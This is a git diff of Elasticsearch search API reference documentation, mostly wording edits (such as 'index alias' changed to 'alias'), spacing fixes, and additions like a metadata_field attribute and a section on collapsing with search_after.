@@ query get skipped. supported value WARNING: Async search does not support <> -nor search requests that only include the <>. -{ccs} is supported only with <> -set to `false`. +nor search requests that only include the <>. +{ccs-cap} is supported only with +<> set to `false`. [[get-async-search]] ==== Get async search -The get async search API retrieves the results of a previously submitted -async search request given its id. If the {es} {security-features} are enabled, -the access to the results of a specific async search is restricted to the user -that submitted it in the first place. +The get async search API retrieves the results of a previously submitted async +search request given its id. If the {es} {security-features} are enabled, the +access to the results of a specific async search is restricted to +<>. [source,console,id=get-async-search-date-histogram-example] -------------------------------------------------- @@ -211,25 +209,25 @@ completed the execution of the query. The `wait_for_completion_timeout` parameter can also be provided when calling the Get Async Search API, in order to wait for the search to be completed up until the provided timeout. Final results will be returned if available before -the timeout expires, otherwise the currently available results will be -returned once the timeout expires. By default no timeout is set meaning that -the currently available results will be returned without any additional wait. +the timeout expires, otherwise the currently available results will be returned +once the timeout expires. By default no timeout is set meaning that the +currently available results will be returned without any additional wait. The `keep_alive` parameter specifies how long the async search should be available in the cluster. When not specified, the `keep_alive` set with the corresponding submit async request will be used. Otherwise, it is possible to override such value and extend the validity of the request. When this period -expires, the search, if still running, is cancelled. If the search is -completed, its saved results are deleted. +expires, the search, if still running, is cancelled. If the search is completed, +its saved results are deleted. [[get-async-search-status]] ==== Get async search status -The get async search status API, without retrieving search results, shows -only the status of a previously submitted async search request given its `id`. -If the {es} {security-features} are enabled, the access to the get async -search status API is restricted to the -<>. + +The get async search status API, without retrieving search results, shows only +the status of a previously submitted async search request given its `id`. If the +{es} {security-features} are enabled, the access to the get async search status +API is restricted to the <>. [source,console,id=get-async-search-status-example] -------------------------------------------------- @@ -257,9 +255,10 @@ GET /_async_search/status/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVm <1> Indicates how many shards have executed the query so far. -For an async search that has been completed, the status response has -an additional `completion_status` field that shows the status -code of the completed async search. +For an async search that has been completed, the status response has an +additional `completion_status` field that shows the status code of the completed +async search. + [source,console-result] -------------------------------------------------- { @@ -279,7 +278,7 @@ code of the completed async search. -------------------------------------------------- // TEST[skip: a sample output of a status of a completed async search] -<1> Indicates that the async search was successfully completed +<1> Indicates that the async search was successfully completed. [source,console-result] @@ -301,13 +300,14 @@ code of the completed async search. -------------------------------------------------- // TEST[skip: a sample output of a status of a completed async search] -<1> Indicates that the async search was completed with an error +<1> Indicates that the async search was completed with an error. + [[delete-async-search]] ==== Delete async search -You can use the delete async search API to manually delete an async search -by ID. If the search is still running, the search request will be cancelled. +You can use the delete async search API to manually delete an async search by +ID. If the search is still running, the search request will be cancelled. Otherwise, the saved search results are deleted. [source,console,id=delete-async-search-date-histogram-example] diff --git a/docs/reference/search/count.asciidoc b/docs/reference/search/count.asciidoc index 7210ac809421d..dd96702a6390c 100644 --- a/docs/reference/search/count.asciidoc +++ b/docs/reference/search/count.asciidoc @@ -26,7 +26,7 @@ the <> works. * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. +or alias. [[search-count-api-desc]] @@ -49,13 +49,9 @@ scalability of count. ==== {api-path-parms-title} ``:: - -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. -Wildcard (`*`) expressions are supported. -+ -To search all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases to +search. Supports wildcards (`*`). To search all data streams and indices, omit +this parameter or use `*` or `_all`. [[search-count-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/search/explain.asciidoc b/docs/reference/search/explain.asciidoc index 1910f2396f7e3..c9e297c93413b 100644 --- a/docs/reference/search/explain.asciidoc +++ b/docs/reference/search/explain.asciidoc @@ -77,7 +77,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q] (Optional, string) A comma-separated list of stored fields to return in the response. -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-routing] +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source] diff --git a/docs/reference/search/field-caps.asciidoc b/docs/reference/search/field-caps.asciidoc index d2ce46fedc746..80ee6bfc24788 100644 --- a/docs/reference/search/field-caps.asciidoc +++ b/docs/reference/search/field-caps.asciidoc @@ -31,7 +31,7 @@ GET /_field_caps?fields=rating * If the {es} {security-features} are enabled, you must have the `view_index_metadata`, `read`, or `manage` <> for the target data stream, index, or index alias. +privilege>> for the target data stream, index, or alias. [[search-field-caps-api-desc]] ==== {api-description-title} @@ -49,13 +49,9 @@ other field. For example, a runtime field with a type of ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[search-field-caps-api-query-params]] ==== {api-query-parms-title} @@ -106,6 +102,8 @@ described using a type family. For example, `keyword`, `constant_keyword` and `w field types are all described as the `keyword` type family. +`metadata_field`:: + Whether this field is registered as a <>. `searchable`:: Whether this field is indexed for search on all indices. @@ -162,12 +160,14 @@ The API returns the following response: "fields": { "rating": { <1> "long": { + "metadata_field": false, "searchable": true, "aggregatable": false, "indices": [ "index1", "index2" ], "non_aggregatable_indices": [ "index1" ] <2> }, "keyword": { + "metadata_field": false, "searchable": false, "aggregatable": true, "indices": [ "index3", "index4" ], @@ -176,6 +176,7 @@ The API returns the following response: }, "title": { <4> "text": { + "metadata_field": false, "searchable": true, "aggregatable": false @@ -211,18 +212,21 @@ in some indices but not all: "fields": { "rating": { "long": { + "metadata_field": false, "searchable": true, "aggregatable": false, "indices": [ "index1", "index2" ], "non_aggregatable_indices": [ "index1" ] }, "keyword": { + "metadata_field": false, "searchable": false, "aggregatable": true, "indices": [ "index3", "index4" ], "non_searchable_indices": [ "index4" ] }, "unmapped": { <1> + "metadata_field": false, "indices": [ "index5" ], "searchable": false, "aggregatable": false @@ -230,11 +234,13 @@ in some indices but not all: }, "title": { "text": { + "metadata_field": false, "indices": [ "index1", "index2", "index3", "index4" ], "searchable": true, "aggregatable": false }, "unmapped": { <2> + "metadata_field": false, "indices": [ "index5" ], "searchable": false, "aggregatable": false diff --git a/docs/reference/search/multi-search.asciidoc b/docs/reference/search/multi-search.asciidoc index 62d8c5c1fce59..4dab825323bef 100644 --- a/docs/reference/search/multi-search.asciidoc +++ b/docs/reference/search/multi-search.asciidoc @@ -26,7 +26,7 @@ GET my-index-000001/_msearch * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. For cross-cluster search, see <>. +or alias. For cross-cluster search, see <>. [[search-multi-search-api-desc]] ==== {api-description-title} @@ -61,7 +61,7 @@ this endpoint the `Content-Type` header should be set to `application/x-ndjson`. ``:: (Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. +Comma-separated list of data streams, indices, and aliases to search. + This list acts as a fallback if a search in the request body does not specify an `index` target. @@ -101,14 +101,14 @@ to +max(1, (# of <> * min(<> that point to a -missing or closed index. +This parameter also applies to <> that point to a missing +or index. include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards] + @@ -196,8 +196,8 @@ included in the response. Defaults to `false`. `index`:: (Optional, string or array of strings) -Data streams, indices, and index aliases to search. Wildcard (`*`) expressions -are supported. You can specify multiple targets as an array. +Data streams, indices, and aliases to search. Supports wildcards (`*`). Specify +multiple targets as an array. + If this parameter is not specified, the `` request path parameter is used as a fallback. @@ -274,10 +274,10 @@ Number of hits to return. Defaults to `10`. [[search-multi-search-api-example]] ==== {api-examples-title} -The header part includes which data streams, indices, and index aliases to -search. The header also indicates the `search_type`, -`preference`, and `routing`. The body includes the typical search body request -(including the `query`, `aggregations`, `from`, `size`, and so on). +The header includes the data streams, indices, and aliases to search. The header +also indicates the `search_type`, `preference`, and `routing`. The body includes +the typical search body request (including the `query`, `aggregations`, `from`, +`size`, and so on). [source,js] -------------------------------------------------- @@ -305,7 +305,7 @@ Note, the above includes an example of an empty header (can also be just without any content) which is supported as well. -The endpoint also allows you to search against data streams, indices, and index +The endpoint also allows you to search against data streams, indices, and aliases in the request path. In this case, it will be used as the default target unless explicitly specified in the header's `index` parameter. For example: diff --git a/docs/reference/search/point-in-time-api.asciidoc b/docs/reference/search/point-in-time-api.asciidoc index 45c4e3925be00..048a36d1803b7 100644 --- a/docs/reference/search/point-in-time-api.asciidoc +++ b/docs/reference/search/point-in-time-api.asciidoc @@ -1,5 +1,3 @@ -[role="xpack"] -[testenv="basic"] [[point-in-time-api]] === Point in time API ++++ @@ -19,7 +17,10 @@ changes happening between searches are only visible to the more recent point in * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. +or alias. ++ +To search a <> for an alias, you +must have the `read` index privilege for the alias's data streams or indices. [[point-in-time-api-example]] ==== {api-examples-title} diff --git a/docs/reference/search/profile.asciidoc b/docs/reference/search/profile.asciidoc index 548a6a71f7682..82acb624f42fc 100644 --- a/docs/reference/search/profile.asciidoc +++ b/docs/reference/search/profile.asciidoc @@ -176,7 +176,7 @@ The API returns the following result: <1> Search results are returned, but were omitted here for brevity. -Even for a simple query, the response is relatively complicated. Let's break it +Even for a simple query, the response is relatively complicated. Let's break it down piece-by-piece before moving to more complex examples. @@ -221,18 +221,18 @@ aggregation execution. Because a search request may be executed against one or more shards in an index, and a search may cover one or more indices, the top level element in the profile response is an array of `shard` objects. Each shard object lists its `id` which -uniquely identifies the shard. The ID's format is +uniquely identifies the shard. The ID's format is `[nodeID][indexName][shardID]`. The profile itself may consist of one or more "searches", where a search is a -query executed against the underlying Lucene index. Most search requests +query executed against the underlying Lucene index. Most search requests submitted by the user will only execute a single `search` against the Lucene index. But occasionally multiple searches will be executed, such as including a global aggregation (which needs to execute a secondary "match_all" query for the global context). Inside each `search` object there will be two arrays of profiled information: -a `query` array and a `collector` array. Alongside the `search` object is an +a `query` array and a `collector` array. Alongside the `search` object is an `aggregations` object that contains the profile information for the aggregations. In the future, more sections may be added, such as `suggest`, `highlight`, etc. @@ -250,12 +250,12 @@ human readable timing information (e.g. `"time": "391,9ms"`, `"time": "123.3micr [NOTE] ======================================= The details provided by the Profile API directly expose Lucene class names and concepts, which means -that complete interpretation of the results require fairly advanced knowledge of Lucene. This +that complete interpretation of the results require fairly advanced knowledge of Lucene. This page attempts to give a crash-course in how Lucene executes queries so that you can use the Profile API to successfully -diagnose and debug queries, but it is only an overview. For complete understanding, please refer +diagnose and debug queries, but it is only an overview. For complete understanding, please refer to Lucene's documentation and, in places, the code. -With that said, a complete understanding is often not required to fix a slow query. It is usually +With that said, a complete understanding is often not required to fix a slow query. It is usually sufficient to see that a particular component of a query is slow, and not necessarily understand why the `advance` phase of that query is the cause, for example. ======================================= @@ -266,7 +266,7 @@ the `advance` phase of that query is the cause, for example. The `query` section contains detailed timing of the query tree executed by Lucene on a particular shard. The overall structure of this query tree will resemble your original Elasticsearch query, but may be slightly (or sometimes -very) different. It will also use similar but not always identical naming. +very) different. It will also use similar but not always identical naming. Using our previous `match` query example, let's analyze the `query` section: [source,console-result] @@ -301,21 +301,21 @@ Using our previous `match` query example, let's analyze the `query` section: <1> The breakdown timings are omitted for simplicity. Based on the profile structure, we can see that our `match` query was rewritten -by Lucene into a BooleanQuery with two clauses (both holding a TermQuery). The +by Lucene into a BooleanQuery with two clauses (both holding a TermQuery). The `type` field displays the Lucene class name, and often aligns with the -equivalent name in Elasticsearch. The `description` field displays the Lucene +equivalent name in Elasticsearch. The `description` field displays the Lucene explanation text for the query, and is made available to help differentiating between parts of your query (e.g. both `message:get` and `message:search` are TermQuery's and would appear identical otherwise. The `time_in_nanos` field shows that this query took ~11.9ms for the entire -BooleanQuery to execute. The recorded time is inclusive of all children. +BooleanQuery to execute. The recorded time is inclusive of all children. The `breakdown` field will give detailed stats about how the time was spent, -we'll look at that in a moment. Finally, the `children` array lists any -sub-queries that may be present. Because we searched for two values ("get -search"), our BooleanQuery holds two children TermQueries. They have identical -information (type, time, breakdown, etc). Children are allowed to have their +we'll look at that in a moment. Finally, the `children` array lists any +sub-queries that may be present. Because we searched for two values ("get +search"), our BooleanQuery holds two children TermQueries. They have identical +information (type, time, breakdown, etc). Children are allowed to have their own children. ===== Timing Breakdown @@ -351,7 +351,7 @@ Lucene execution: // TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/] Timings are listed in wall-clock nanoseconds and are not normalized at all. All -caveats about the overall `time_in_nanos` apply here. The intention of the +caveats about the overall `time_in_nanos` apply here. The intention of the breakdown is to give you a feel for A) what machinery in Lucene is actually eating time, and B) the magnitude of differences in times between the various components. Like the overall time, the breakdown is inclusive of all children @@ -366,20 +366,20 @@ The meaning of the stats are as follows: `create_weight`:: A Query in Lucene must be capable of reuse across multiple IndexSearchers (think of it as the engine that - executes a search against a specific Lucene Index). This puts Lucene in a tricky spot, since many queries + executes a search against a specific Lucene Index). This puts Lucene in a tricky spot, since many queries need to accumulate temporary state/statistics associated with the index it is being used against, but the Query contract mandates that it must be immutable. {empty} + {empty} + To get around this, Lucene asks each query to generate a Weight object which acts as a temporary context - object to hold state associated with this particular (IndexSearcher, Query) tuple. The `weight` metric + object to hold state associated with this particular (IndexSearcher, Query) tuple. The `weight` metric shows how long this process takes `build_scorer`:: - This parameter shows how long it takes to build a Scorer for the query. A Scorer is the mechanism that + This parameter shows how long it takes to build a Scorer for the query. A Scorer is the mechanism that iterates over matching documents and generates a score per-document (e.g. how well does "foo" match the document?). - Note, this records the time required to generate the Scorer object, not actually score the documents. Some + Note, this records the time required to generate the Scorer object, not actually score the documents. Some queries have faster or slower initialization of the Scorer, depending on optimizations, complexity, etc. {empty} + {empty} + @@ -387,10 +387,10 @@ The meaning of the stats are as follows: `next_doc`:: - The Lucene method `next_doc` returns Doc ID of the next document matching the query. This statistic shows + The Lucene method `next_doc` returns Doc ID of the next document matching the query. This statistic shows the time it takes to determine which document is the next match, a process that varies considerably depending - on the nature of the query. Next_doc is a specialized form of advance() which is more convenient for many - queries in Lucene. It is equivalent to advance(docId() + 1) + on the nature of the query. Next_doc is a specialized form of advance() which is more convenient for many + queries in Lucene. It is equivalent to advance(docId() + 1) `advance`:: @@ -403,13 +403,13 @@ The meaning of the stats are as follows: `match`:: - Some queries, such as phrase queries, match documents using a "two-phase" process. First, the document is + Some queries, such as phrase queries, match documents using a "two-phase" process. First, the document is "approximately" matched, and if it matches approximately, it is checked a second time with a more rigorous - (and expensive) process. The second phase verification is what the `match` statistic measures. + (and expensive) process. The second phase verification is what the `match` statistic measures. {empty} + {empty} + For example, a phrase query first checks a document approximately by ensuring all terms in the phrase are - present in the doc. If all the terms are present, it then executes the second phase verification to ensure + present in the doc. If all the terms are present, it then executes the second phase verification to ensure the terms are in-order to form the phrase, which is relatively more expensive than just checking for presence of the terms. {empty} + @@ -421,8 +421,8 @@ The meaning of the stats are as follows: This records the time taken to score a particular document via its Scorer `*_count`:: - Records the number of invocations of the particular method. For example, `"next_doc_count": 2,` - means the `nextDoc()` method was called on two different documents. This can be used to help judge + Records the number of invocations of the particular method. For example, `"next_doc_count": 2,` + means the `nextDoc()` method was called on two different documents. This can be used to help judge how selective queries are, by comparing counts between different query components. @@ -431,7 +431,7 @@ The meaning of the stats are as follows: The Collectors portion of the response shows high-level execution details. Lucene works by defining a "Collector" which is responsible for coordinating the -traversal, scoring, and collection of matching documents. Collectors are also +traversal, scoring, and collection of matching documents. Collectors are also how a single query can record aggregation results, execute unscoped "global" queries, execute post-query filters, etc. @@ -455,14 +455,14 @@ Looking at the previous example: We see a single collector named `SimpleTopScoreDocCollector` wrapped into `CancellableCollector`. `SimpleTopScoreDocCollector` is the default "scoring and sorting" `Collector` used by {es}. The `reason` field attempts to give a plain -English description of the class name. The `time_in_nanos` is similar to the +English description of the class name. The `time_in_nanos` is similar to the time in the Query tree: a wall-clock time inclusive of all children. Similarly, `children` lists all sub-collectors. The `CancellableCollector` that wraps `SimpleTopScoreDocCollector` is used by {es} to detect if the current search was cancelled and stop collecting documents as soon as it occurs. It should be noted that Collector times are **independent** from the Query -times. They are calculated, combined, and normalized independently! Due to the +times. They are calculated, combined, and normalized independently! Due to the nature of Lucene's execution, it is impossible to "merge" the times from the Collectors into the Query section, so they are displayed in separate portions. @@ -471,7 +471,7 @@ For reference, the various collector reasons are: [horizontal] `search_sorted`:: - A collector that scores and sorts documents. This is the most common collector and will be seen in most + A collector that scores and sorts documents. This is the most common collector and will be seen in most simple searches `search_count`:: @@ -481,27 +481,27 @@ For reference, the various collector reasons are: `search_terminate_after_count`:: - A collector that terminates search execution after `n` matching documents have been found. This is seen + A collector that terminates search execution after `n` matching documents have been found. This is seen when the `terminate_after_count` query parameter has been specified `search_min_score`:: - A collector that only returns matching documents that have a score greater than `n`. This is seen when + A collector that only returns matching documents that have a score greater than `n`. This is seen when the top-level parameter `min_score` has been specified. `search_multi`:: - A collector that wraps several other collectors. This is seen when combinations of search, aggregations, + A collector that wraps several other collectors. This is seen when combinations of search, aggregations, global aggs, and post_filters are combined in a single search. `search_timeout`:: - A collector that halts execution after a specified period of time. This is seen when a `timeout` top-level + A collector that halts execution after a specified period of time. This is seen when a `timeout` top-level parameter has been specified. `aggregation`:: - A collector that Elasticsearch uses to run aggregations against the query scope. A single `aggregation` + A collector that Elasticsearch uses to run aggregations against the query scope. A single `aggregation` collector is used to collect documents for *all* aggregations, so you will see a list of aggregations in the name rather. @@ -515,9 +515,9 @@ For reference, the various collector reasons are: [[rewrite-section]] ===== `rewrite` Section -All queries in Lucene undergo a "rewriting" process. A query (and its +All queries in Lucene undergo a "rewriting" process. A query (and its sub-queries) may be rewritten one or more times, and the process continues until -the query stops changing. This process allows Lucene to perform optimizations, +the query stops changing. This process allows Lucene to perform optimizations, such as removing redundant clauses, replacing one query for a more efficient execution path, etc. For example a Boolean -> Boolean -> TermQuery can be rewritten to a TermQuery, because all the Booleans are unnecessary in this case. @@ -686,7 +686,7 @@ The API returns the following result: <1> The `"aggregations"` portion has been omitted because it will be covered in the next section. -As you can see, the output is significantly more verbose than before. All the +As you can see, the output is significantly more verbose than before. All the major portions of the query are represented: 1. The first `TermQuery` (user.id:elkbee) represents the main `term` query. @@ -705,16 +705,16 @@ verbose responses, and are not overly structured. Essentially, these queries rewrite themselves on a per-segment basis. If you imagine the wildcard query `b*`, it technically can match any token that begins -with the letter "b". It would be impossible to enumerate all possible +with the letter "b". It would be impossible to enumerate all possible combinations, so Lucene rewrites the query in context of the segment being evaluated, e.g., one segment may contain the tokens `[bar, baz]`, so the query -rewrites to a BooleanQuery combination of "bar" and "baz". Another segment may +rewrites to a BooleanQuery combination of "bar" and "baz". Another segment may only have the token `[bakery]`, so the query rewrites to a single TermQuery for "bakery". Due to this dynamic, per-segment rewriting, the clean tree structure becomes distorted and no longer follows a clean "lineage" showing how one query rewrites -into the next. At present time, all we can do is apologize, and suggest you +into the next. At present time, all we can do is apologize, and suggest you collapse the details for that query's children if it is too confusing. Luckily, all the timing statistics are correct, just not the physical layout in the response, so it is sufficient to just analyze the top-level MultiTermQuery and @@ -869,7 +869,7 @@ which comes from `my_global_agg`. That aggregation then has a child `NumericTermsAggregator` which comes from the second term's aggregation on `http.response.status_code`. The `time_in_nanos` field shows the time executed by each aggregation, and is -inclusive of all children. While the overall time is useful, the `breakdown` +inclusive of all children. While the overall time is useful, the `breakdown` field will give detailed stats about how the time was spent. Some aggregations may return expert `debug` information that describe features @@ -908,7 +908,7 @@ method. For example, `"collect_count": 2` means the aggregation called the future use and always returns `0`. Timings are listed in wall-clock nanoseconds and are not normalized at all. All -caveats about the overall `time` apply here. The intention of the breakdown is +caveats about the overall `time` apply here. The intention of the breakdown is to give you a feel for A) what machinery in {es} is actually eating time, and B) the magnitude of differences in times between the various components. Like the overall time, the breakdown is inclusive of all children times. @@ -919,7 +919,7 @@ overall time, the breakdown is inclusive of all children times. Like any profiler, the Profile API introduces a non-negligible overhead to search execution. The act of instrumenting low-level method calls such as `collect`, `advance`, and `next_doc` can be fairly expensive, since these -methods are called in tight loops. Therefore, profiling should not be enabled +methods are called in tight loops. Therefore, profiling should not be enabled in production settings by default, and should not be compared against non-profiled query times. Profiling is just a diagnostic tool. diff --git a/docs/reference/search/rank-eval.asciidoc b/docs/reference/search/rank-eval.asciidoc index 34c0f8ef465dd..f2b45990e8837 100644 --- a/docs/reference/search/rank-eval.asciidoc +++ b/docs/reference/search/rank-eval.asciidoc @@ -19,7 +19,7 @@ typical search queries. * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. +or alias. [[search-rank-eval-api-desc]] ==== {api-description-title} @@ -71,12 +71,9 @@ generation in your application. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard (`*`) expressions are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[search-rank-eval-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/search/scroll-api.asciidoc b/docs/reference/search/scroll-api.asciidoc index 85e0b28c66c4d..e3b4123ddff68 100644 --- a/docs/reference/search/scroll-api.asciidoc +++ b/docs/reference/search/scroll-api.asciidoc @@ -53,7 +53,7 @@ deprecated:[7.0.0] * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. +or alias. [[scroll-api-desc]] ==== {api-description-title} @@ -69,7 +69,9 @@ parameter indicates how long {es} should retain the The search response returns a scroll ID in the `_scroll_id` response body parameter. You can then use the scroll ID with the scroll API to retrieve the -next batch of results for the request. +next batch of results for the request. If the {es} {security-features} are enabled, +the access to the results of a specific scroll ID is restricted to +<>. You can also use the scroll API to specify a new `scroll` parameter that extends or shortens the retention period for the search context. diff --git a/docs/reference/search/search-shards.asciidoc b/docs/reference/search/search-shards.asciidoc index ae78dd403d370..87a265bf5c8e3 100644 --- a/docs/reference/search/search-shards.asciidoc +++ b/docs/reference/search/search-shards.asciidoc @@ -23,7 +23,7 @@ GET /my-index-000001/_search_shards * If the {es} {security-features} are enabled, you must have the `view_index_metadata` or `manage` <> -for the target data stream, index, or index alias. +for the target data stream, index, or alias. [[search-shards-api-desc]] ==== {api-description-title} @@ -38,13 +38,9 @@ are used, the filter is returned as part of the `indices` section. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. -Wildcard (`*`) expressions are supported. -+ -To search all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases to +search. Supports wildcards (`*`). To search all data streams and indices, omit +this parameter or use `*` or `_all`. [[search-shards-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/search/search-template.asciidoc b/docs/reference/search/search-template.asciidoc index cec025de6eb59..7d6c3ea39402a 100644 --- a/docs/reference/search/search-template.asciidoc +++ b/docs/reference/search/search-template.asciidoc @@ -33,7 +33,7 @@ GET _search/template * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. For cross-cluster search, see <>. +or alias. For cross-cluster search, see <>. [[search-template-api-desc]] ==== {api-description-title} @@ -109,13 +109,14 @@ The API request body must contain the search definition template and its paramet [[search-template-api-example]] -==== {api-response-codes-title} +==== {api-examples-title} [[pre-registered-templates]] ===== Store a search template -You can store a search template using the stored scripts API. +To store a search template, use the <>. Specify `mustache` as the `lang`. [source,console] ------------------------------------------ @@ -150,7 +151,8 @@ created: ////////////////////////// -The template can be retrieved by calling +To retrieve the template, use the <>. [source,console] ------------------------------------------ @@ -158,7 +160,7 @@ GET _scripts/ ------------------------------------------ // TEST[continued] -The API returns the following result: +The API returns: [source,console-result] ------------------------------------------ @@ -175,8 +177,8 @@ The API returns the following result: } ------------------------------------------ - -This template can be deleted by calling +To delete the template, use the <>. [source,console] ------------------------------------------ @@ -184,7 +186,6 @@ DELETE _scripts/ ------------------------------------------ // TEST[continued] - [[use-registered-templates]] ===== Using a stored search template @@ -535,7 +536,7 @@ for `end`: ===== Conditional clauses Conditional clauses cannot be expressed using the JSON form of the template. -Instead, the template *must* be passed as a string. For instance, let's say +Instead, the template *must* be passed as a string. For instance, let's say we wanted to run a `match` query on the `line` field, and optionally wanted to filter by line numbers, where `start` and `end` are optional. @@ -670,7 +671,7 @@ Allows to execute several search template requests. * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. For cross-cluster search, see <>. +or alias. For cross-cluster search, see <>. [[multi-search-template-api-desc]] ==== {api-description-title} diff --git a/docs/reference/search/search-your-data/collapse-search-results.asciidoc b/docs/reference/search/search-your-data/collapse-search-results.asciidoc index e4f8c8b100e0a..465de013ff97c 100644 --- a/docs/reference/search/search-your-data/collapse-search-results.asciidoc +++ b/docs/reference/search/search-your-data/collapse-search-results.asciidoc @@ -74,7 +74,7 @@ GET /my-index-000001/_search See <> for the complete list of supported options and the format of the response. -It is also possible to request multiple `inner_hits` for each collapsed hit. This can be useful when you want to get +It is also possible to request multiple `inner_hits` for each collapsed hit. This can be useful when you want to get multiple representations of the collapsed hits. [source,console] @@ -111,15 +111,42 @@ GET /my-index-000001/_search <3> return the three most recent HTTP responses for the user The expansion of the group is done by sending an additional query for each -`inner_hit` request for each collapsed hit returned in the response. This can significantly slow things down +`inner_hit` request for each collapsed hit returned in the response. This can significantly slow things down if you have too many groups and/or `inner_hit` requests. The `max_concurrent_group_searches` request parameter can be used to control the maximum number of concurrent searches allowed in this phase. The default is based on the number of data nodes and the default search thread pool size. -WARNING: `collapse` cannot be used in conjunction with <>, -<> or <>. +WARNING: `collapse` cannot be used in conjunction with <> or +<>. + +[discrete] +[[collapsing-with-search-after]] +=== Collapsing with `search_after` +Field collapsing can be used with the <> +parameter. Using `search_after` is only supported when sorting and collapsing +on the same field. Secondary sorts are also not allowed. For example, we can +collapse and sort on `user.id`, while paging through the results using +`search_after`: + +[source,console] +-------------------------------------------------- +GET /my-index-000001/_search +{ + "query": { + "match": { + "message": "GET /search" + } + }, + "collapse": { + "field": "user.id" + }, + "sort": [ "user.id" ], + "search_after": ["dd5ce1ad"] +} +-------------------------------------------------- +// TEST[setup:my_index] [discrete] [[second-level-of-collapsing]] @@ -223,4 +250,4 @@ Response: -------------------------------------------------- // NOTCONSOLE -NOTE: Second level of collapsing doesn't allow `inner_hits`. \ No newline at end of file +NOTE: Second level of collapsing doesn't allow `inner_hits`. diff --git a/docs/reference/search/search-your-data/filter-search-results.asciidoc b/docs/reference/search/search-your-data/filter-search-results.asciidoc index 2704f1d114124..abc2749cb9b1b 100644 --- a/docs/reference/search/search-your-data/filter-search-results.asciidoc +++ b/docs/reference/search/search-your-data/filter-search-results.asciidoc @@ -50,8 +50,8 @@ PUT /shirts/_doc/1?refresh Imagine a user has specified two filters: -`color:red` and `brand:gucci`. You only want to show them red shirts made by -Gucci in the search results. Normally you would do this with a +`color:red` and `brand:gucci`. You only want to show them red shirts made by +Gucci in the search results. Normally you would do this with a <>: [source,console] @@ -70,7 +70,7 @@ GET /shirts/_search -------------------------------------------------- However, you would also like to use _faceted navigation_ to display a list of -other options that the user could click on. Perhaps you have a `model` field +other options that the user could click on. Perhaps you have a `model` field that would allow the user to limit their search results to red Gucci `t-shirts` or `dress-shirts`. @@ -105,7 +105,7 @@ available in *other colors*. If you just add a `terms` aggregation on the returns only red shirts by Gucci. Instead, you want to include shirts of all colors during aggregation, then -apply the `colors` filter only to the search results. This is the purpose of +apply the `colors` filter only to the search results. This is the purpose of the `post_filter`: [source,console] @@ -226,8 +226,8 @@ The way the scores are combined can be controlled with the `score_mode`: [cols="<,<",options="header",] |======================================================================= |Score Mode |Description -|`total` |Add the original score and the rescore query score. The default. -|`multiply` |Multiply the original score by the rescore query score. Useful +|`total` |Add the original score and the rescore query score. The default. +|`multiply` |Multiply the original score by the rescore query score. Useful for <> rescores. |`avg` |Average the original score and the rescore query score. |`max` |Take the max of original score and the rescore query score. @@ -286,6 +286,6 @@ POST /_search // TEST[setup:my_index] The first one gets the results of the query then the second one gets the -results of the first, etc. The second rescore will "see" the sorting done +results of the first, etc. The second rescore will "see" the sorting done by the first rescore so it is possible to use a large window on the first rescore to pull documents into a smaller window for the second rescore. diff --git a/docs/reference/search/search-your-data/highlighting.asciidoc b/docs/reference/search/search-your-data/highlighting.asciidoc index 28691934b553f..b8917016e5d22 100644 --- a/docs/reference/search/search-your-data/highlighting.asciidoc +++ b/docs/reference/search/search-your-data/highlighting.asciidoc @@ -72,10 +72,10 @@ The `fvh` highlighter uses the Lucene Fast Vector highlighter. This highlighter can be used on fields with `term_vector` set to `with_positions_offsets` in the mapping. The fast vector highlighter: -* Can be customized with a <>. +* Can be customized with a <>. * Requires setting `term_vector` to `with_positions_offsets` which increases the size of the index -* Can combine matches from multiple fields into one result. See +* Can combine matches from multiple fields into one result. See `matched_fields` * Can assign different weights to matches at different positions allowing for things like phrase matches being sorted above term matches when @@ -137,7 +137,7 @@ boundary_scanner:: Specifies how to break the highlighted fragments: `chars`, Defaults to `sentence` for the `unified` highlighter. Defaults to `chars` for the `fvh` highlighter. `chars`::: Use the characters specified by `boundary_chars` as highlighting -boundaries. The `boundary_max_scan` setting controls how far to scan for +boundaries. The `boundary_max_scan` setting controls how far to scan for boundary characters. Only valid for the `fvh` highlighter. `sentence`::: Break highlighted fragments at the next sentence boundary, as determined by Java's @@ -200,7 +200,7 @@ include the search query as part of the `highlight_query`. matched_fields:: Combine matches on multiple fields to highlight a single field. This is most intuitive for 